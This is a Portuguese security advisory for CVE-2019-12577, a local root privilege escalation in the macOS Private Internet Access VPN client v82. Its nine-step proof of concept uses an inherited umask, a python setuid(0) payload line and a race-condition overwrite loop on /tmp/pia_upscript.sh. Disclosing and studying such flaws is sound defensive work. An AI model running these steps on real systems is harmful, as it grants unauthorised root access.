ASA-2019-00383 – London Trust Media Private Internet Access: Insecure umask


For the English version of this alert, click here.

Allele Security Alert

ASA-2019-00383

Identificador(es)

ASA-2019-00383, CVE-2019-12577

Título

Insecure umask

Fabricante(s)

London Trust Media, Inc

Produto(s)

Private Internet Access (PIA) VPN Client

Versão(ões) afetada(s)

Private Internet Access (PIA) VPN Client para macOS v82

Versão(ões) corrigida(s)

Private Internet Access (PIA) VPN Client for macOS v1.2.1 or later

Prova de conceito

Sim

Descrição

Uma vulnerabilidade no Private Internet Access (PIA) VPN Client para macOS v82 pode permitir que um atacante local autenticado execute código arbitrário com privilégios elevados.

Detalhes técnicos

O binário PIA macOS openvpn_launcher.64 é setuid root. Esse binário cria /tmp/pia_upscript.sh quando executado. Como a máscara de criação de arquivo (umask) não é redefinida, o valor umask é herdado do processo de chamada. Esse valor pode ser manipulado para fazer com que o binário privilegiado crie arquivos com permissões de escrita para todos. Um usuário local sem privilégios pode modificar /tmp/pia_upscript.sh durante o processo de conexão para executar código arbitrário como o usuário root.

Todas as etapas são executadas como um usuário com poucos privilégios.

Passo 1 – defina umask para 0000.

umask 0000

Etapa 2 – Verifique se a máscara é 0000.

umask

Etapa 3 – Execute o openvpn_launcher.64. Isto irá criar /tmp/pia_upscript.sh com permissões de 777.

# macOS
/Applications/Private\ Internet\ Access.app/Contents/Resources/openvpn_launcher 2>/dv/null

Passo 4 – Verifique se /tmp/pia_upscript.sh tem permissão de escrita para todos.

ls -ld /tmp/pia_upscript.sh

Etapa 5 – Crie uma cópia do /tmp/pia_upscript.sh.

cp /tmp/pia_upscript.sh /tmp/pia_upscript.sh.woot

Passo 6 – Inserir código arbitrário em /tmp/pia_upscript.sh.woot.

Para este PoC, vamos executar o comando id e enviar a saída para o wall. Isto irá mostrar o uid/gid através de uma mensagem de broadcast do sistema.

# Add this line to line #2 of the /tmp/pia_upscript.sh.woot.
python -c 'import os;os.setuid(0);os.system("id|wall");’

Passo 7 – Vença o race condition sobregravando continuamente /tmp/pia_upscript.sh. Coloque o trabalho em segundo plano. Isso é necessário porque, durante o processo de conexão, o script será sobrescrito.

cd /tmp
while true; do cp pia_upscript.sh.woot pia_upscript.sh;done &

Passo 8 – Execute o run.sh para abrir o cliente da GUI da PIA

/Applications/Private\ Internet\ Access.app/Contents/MacOS/run.sh

Etapa 9 – Faça o login e conecte-se à VPN

Durante o processo de conexão /tmp/pia_upscript.sh será executado como root e você deverá ver uma mensagem do wall mostrando a saída do comando id com uid=0.

Créditos

Rich Mirch

Referência(s)

PIA macOS Privilege Escalation: Insecure umask
https://github.com/mirchr/security-research/blob/master/vulnerabilities/PIA/CVE-2019-12577.txt

CVE-2019-12577
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-12577

CVE-2019-12577
https://nvd.nist.gov/vuln/detail/CVE-2019-12577

Se encontrou algum erro neste alerta ou deseja uma análise compreensiva, entre em contato.

Última modificação: 26 junho 2019

Não somos responsáveis por qualquer perda de dados, corrupção de dispositivos ou qualquer outro tipo de problema devido ao uso de qualquer informação mencionada em nossos alertas de segurança.